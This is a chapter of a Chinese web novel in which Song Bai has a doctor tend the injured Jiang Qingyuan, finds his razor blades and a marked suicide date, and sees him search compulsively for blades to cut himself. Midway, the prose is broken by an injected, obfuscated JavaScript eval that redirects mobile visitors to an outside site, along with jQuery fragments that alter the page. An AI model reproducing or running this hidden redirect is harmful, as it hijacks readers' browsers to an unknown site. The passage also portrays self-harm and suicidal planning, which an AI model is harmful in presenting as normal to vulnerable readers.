宋柏将江清圆轻轻放到床上,印象里周围朋友只有吴家兴有当医生朋友,宋柏给他打了个电话。


    宋柏早上到了学校,又离开学校的突然,吴家兴正在等他电话,听了宋柏电话里简单交代的情况后,二话没说,立马要了个地址,说医生半个小时到。


    “张主任是我妈妈的朋友,现在是家私立医院的外科主任,医术这方面你就放心将你老…”吴家兴脱口而出想说老婆,又想起宋柏认真给他说过,江清圆现在并不知道他的心意,这么贸然给他按这个称呼,是对江清圆的不尊重,于是话头一转,“老喜欢的小圆交给她吧!”


    说完又想起宋柏没谈过恋爱,作为过来人,殷勤嘱咐道:“还有学校这边耽误一两天没问题,你不用着急回来,陪人要紧。我给你说,要我受伤躺在床上,谁给我端茶倒水,哎呦喂,我做鬼都能记住他!”


    宋柏真心实意谢过他前半段,又无情在他后半段没说完时挂了电话。


    所幸吴家兴虽然满嘴跑鬼,但做事还是很靠谱,半个小时后,张主任果然如约到达。她没有寒暄,直奔向躺在床上的江清圆。


    纵然是宋柏已经给江清圆擦干净了脸上的血,张主任还是被他额头上的伤口吓了一跳。


    惊讶只维持了一瞬,张主任的专业性让她马上干脆地给江清圆的伤口开始消毒、上药、包扎。


    宋柏在旁边以一种学生的姿态站着,看得专心致志。


    江清圆腿上还有很多伤没有处理。


    “注意好之前不要沾到水,如果后续严重化脓了,还是要去医院,可不能避讳去医院啊,”张主任的女儿和他们差不多大,见江清圆这样,忍不住板起亲和的圆脸,带上了家长的语气,“换药的时候也要小心,不然容易留疤。这么好看一张小脸,留疤了多不好。”


    宋柏一下下地点头,没有丝毫的不耐烦。


    他认真的态度让张主任很满意,嗯了一声后,张主任又去看江清圆扭曲的手肘,仔细摸了摸,严肃的脸上神色不由得一松:“还好只是普通错位。”


    她说着,一只手握着江清圆手腕,一只手捏着他的手,一用力,只听咔嚓一声轻响,江清圆扭曲的手腕就恢复了正常的样子。


    “好喽,”张主任视线扫过他小臂上已经开始青紫的手印,心中叹息一声,将他的手塞回被子下,“我摸着是没有碎骨,但还是建议后续去医院拍个片子再确认一下,还有,这些手印我等会儿留点药,醒来后涂涂吧。”


    “我会带他去的,谢谢您,”宋柏恳挚地向她道谢,他上前,弯腰用手背轻轻碰了碰江清圆额头,又切切地问道,“张主任,还有一个问题想询问您,他总是反复发烧,是什么问题?”


    手背下的额头又是滚烫一片,宋柏搬进来后,江清圆总是在发烧。


    让人难免产生幻觉,他一生都是一场绵长的发热。


    “免疫力低下!”张主任说起来这个就又来气了,她握起来江清圆另一只好的手,“你看看这瘦的,能有个100斤没?明显的营养不良嘛!我说就是你们这些年轻人天天玩手机玩的,学里面减肥。减肥是没问题,但要运动着减嘛,哪能饭都不好好吃了?靠把自己饿瘦,这不饿出来个免疫力低下!”


    宋柏安静地听她说完后,又问:“除了这个,有没有精神方面的原因?”


    他从张主任手里接过江清圆的手,在手心里攥了攥,只觉得空荡荡握的一大半都是空气,攥得紧了,手腕上格外突起的那块骨头又搁得他掌心发疼:“比如说他小时候受了严重的精神创伤,引发了发烧后,没有得到好的照顾,那么接下来面对每一次精神创伤时,会习惯性发烧吗?”


    张主任认真想了想:“按理说是有这个可能的,我怀疑发烧是一种应激反应,但更多的就需要去精神科或者心理科看心理医生了,我毕竟不是这个方向的。”


    她听出了宋柏话外的意思:“他平时发烧多吗?”


    宋柏这次很快点了点头。


    “那如果是这样,真要去看看心理医生了,”张主任有些不忍地看了一眼床上的江清圆,“顺便查查有没有抑郁症吧。”


    宋柏握着江清圆手腕的手又紧了些。


    “你是他朋友?”张主任问,“他爸爸妈妈呢?”


    这种情况,爸爸妈妈肯定要知道的。


    掌心里的手腕安静地任他握着,宋柏低声道:“他在家里过得苦。”


    张主任听见这话,一下就懂了,良久,她沉沉地吐出一口气,无力地摆了摆手:“伤我都处理好了,医院还有事,我就先回去了。”


    她能怎么说,说这世界上有些人根本不配做父母?但面对无数个不被爱的孩子,这话显得多么无力啊。


    张主任走之前,留够了药和置换的纱布。


    宋柏送走她后,重新回到江清圆床边,儿童的高低床比平常的床矮很多,宋柏坐到床边地上,依旧能低头俯视躺在床上的江清圆。


    他手伸到被子下,轻轻握上江清圆受伤的手,在被子里捂了那么久,掌心里的手还是一如往常的冰凉。宋柏不由得拿手指在他手背上搓了搓,看着他紧闭的眼睛,想说些什么,视线一扫,话僵在了嘴里。


    他看见江清圆头上,高低床上铺的床板底下,也贴满了符箓。


    江清圆每天在床上一睁眼,就能看见。


    宋柏闭了闭眼,良久,才睁开眼再次仔细环顾起整个卧室。


    才发现除了地板和家具上,其他他能看见的地方,都贴满了这玩意儿。


    家具也不多,除了床,整间屋子里就一套桌椅,和一个衣柜,以及衣柜角的一个脏衣篓。


    衣柜上并没有像其他人房间一样堆着储存东西的箱子,光秃秃的,昭示着江清圆所有的东西,一个小小的柜子就能塞下。


    书桌上也很干净,宋柏起身看过去,只有一个笔记本电脑,一个本子一支笔,和一本日历。


    再朝下面看去,宋柏不由得笑了,书桌唯一的抽屉紧紧闭着,上面挂着一把锁,很古早的,像是只会出现在年代片里的,一个小小的铜锁。


    宋柏走到书桌前,抬手拿起日历,很普通的白底黑字日历,一月一页,正安时节停在八月份这一页,8月27号被一个端端正正的圆圈起来,上面写了两个小字:交稿。


    宋柏又往后翻,九月十月都没事,十一月中旬也有个交稿日,翻到十二月那页时,宋柏的手顿住了,12月14日那天也被江清圆画了个圈,上面同样有两个字:尾款。


    14号后的15号,江清圆也用笔圈了一下,却什么都没批注。


    但宋柏却知道他这天要干什么。


    江清圆微博上,12月15号,正是他给自己安排的死亡日期。


    啪的一下,日历被宋柏重新翻回八月,好像这样就能让江清圆离12月15号远一些一样。


    宋柏将日历往桌子上放回去,视线再次扫到桌面时,手里的动作顿住。


    刚刚日历压着的桌面上,静静躺着两个小小的刀片。


    和那夜深山里从江清圆口袋里掉出来的一模一样。


    捏着这两枚刀片,宋柏将江清圆卧室除了被锁着的抽屉外,仔仔细细搜了一圈。


    搜完还不放心,出了江清圆的屋子,开始巡视整个二楼。


    二楼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074093|179295||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    比一楼空荡很多,除了江清圆卧室外,还有两个卧室和一间书房,但都荒芜得和江清圆衣柜顶一样。


    穿过窗帘被紧紧拉住的客厅,宋柏最终来到了二楼唯一的厨房。


    小厨房是江清圆平时做饭吃饭的地方,总归比其他没人住的房间多了点生气。


    但也就一点。


    宋柏吃过江清圆做的饭,在兰盛梅和兰澈来的时候,谁吃过江清圆的饭,都不会说他厨艺不好。


    能做出那样好吃到让人感觉到幸福的饭菜的人,他的厨房里,宋柏只看到了一包包挂面。


    最便宜最普通的那种,堆积在厨房台面的一角,旁边是一个透明的储存盒,里面储存着还没吃完的半包。


    宋柏打开旁边的小冰箱,干净得像新冰箱,只有冰箱门堆积着几个鸡蛋。


    整个二楼逛下来没有五分钟,宋柏已经能想象出江清圆的一天。


    早晨起来在满是符箓的房间里写剧本,写到中午来厨房抽一把挂面,下进锅里,有时可能会放一个鸡蛋?


    但也就这样了。


    吃完再回到那个房间里,一直到晚上,蜷缩在小小的床上睡过一天又一天。


    宋柏站在那里,望着二楼唯一没有被拉上窗帘的厨房窗户,煞白的光源将他的影子拉得很长很长。


    安静的影子下,宋柏拼尽所有力气,压抑着内心汹涌的,想马上抱着江清圆离开这个地方,远走高飞,将他藏在一个四季如春,阳光明媚的远方的想法。


    江清圆对这些浑然不知,他刚睁开眼,盯着头顶的符箓好一会儿,才有断断续续的回忆回到脑子里来。


    纵然这些年的难堪已经足够多,但今天发生的事情还是太过了。


    巨大的羞耻姗姗来迟,却瞬间吞噬了江清圆,他慢慢将自己蜷缩起来,头鸵鸟一样埋进自己臂弯里。想死的想法第无数次涌现出来,江清圆调动起所有的理智,一遍遍告诉自己还不到时间,艰难地将它压制下去。


    可心里还是止不住地难受,难受得江清圆想吐,难受得他右边的小腿又开始发痒,难受得江清圆熟练地去摸枕头下面。


    摸了一个空。


    他又摸了摸,依旧什么都没摸到。


    江清圆不可置信地坐起身,将枕头拿起来。


    空空如也。


    这里一直有一把啊,江清圆疑惑地瞪大眼睛。


    腿上越来越痒,江清圆顾不得细想枕头下面的刀片去哪里了,他翻身下床,跌跌撞撞地朝书桌走去。


    几乎是迫不及待地拨开日历,江清圆再次不敢相信地眨了眨眼,也没有刀片。


    失血过多的头晕让他眼前一阵阵发黑,但他什么都顾不得了。


    裤子口袋里,他总是在裤子口袋里放一个以防备用。


    江清圆朝脏衣篓跑去,跑了两步才想起来,从山上下来第二天洗裤子的时候,那刀片都不见了。


    江清圆一时僵在那里,一股子巨大的委屈涌上心头,他惶惶然地像个孩子,找不到刀片,如同失去了最爱的糖果,一下子不知道该怎么办了。


    还是腿上钻心的痒提醒了他。


    对,可以叫外卖。


    江清圆高兴了起来,他甚至欢快地原地转了一圈,在眼前一阵阵黑意的清明夹缝中,开始寻找自己的手机。


    视线扫到门口的那一瞬,江清圆僵在了原地。


    宋柏静静站在门口,目光沉沉,已经不知道看了他多长时间。


    见他看见自己,宋柏举起手里小小的东西,黑压压的眸从他赤//裸的脚扫到他苍白激动的眼尾,轻声问:


    “是在找这个吗?”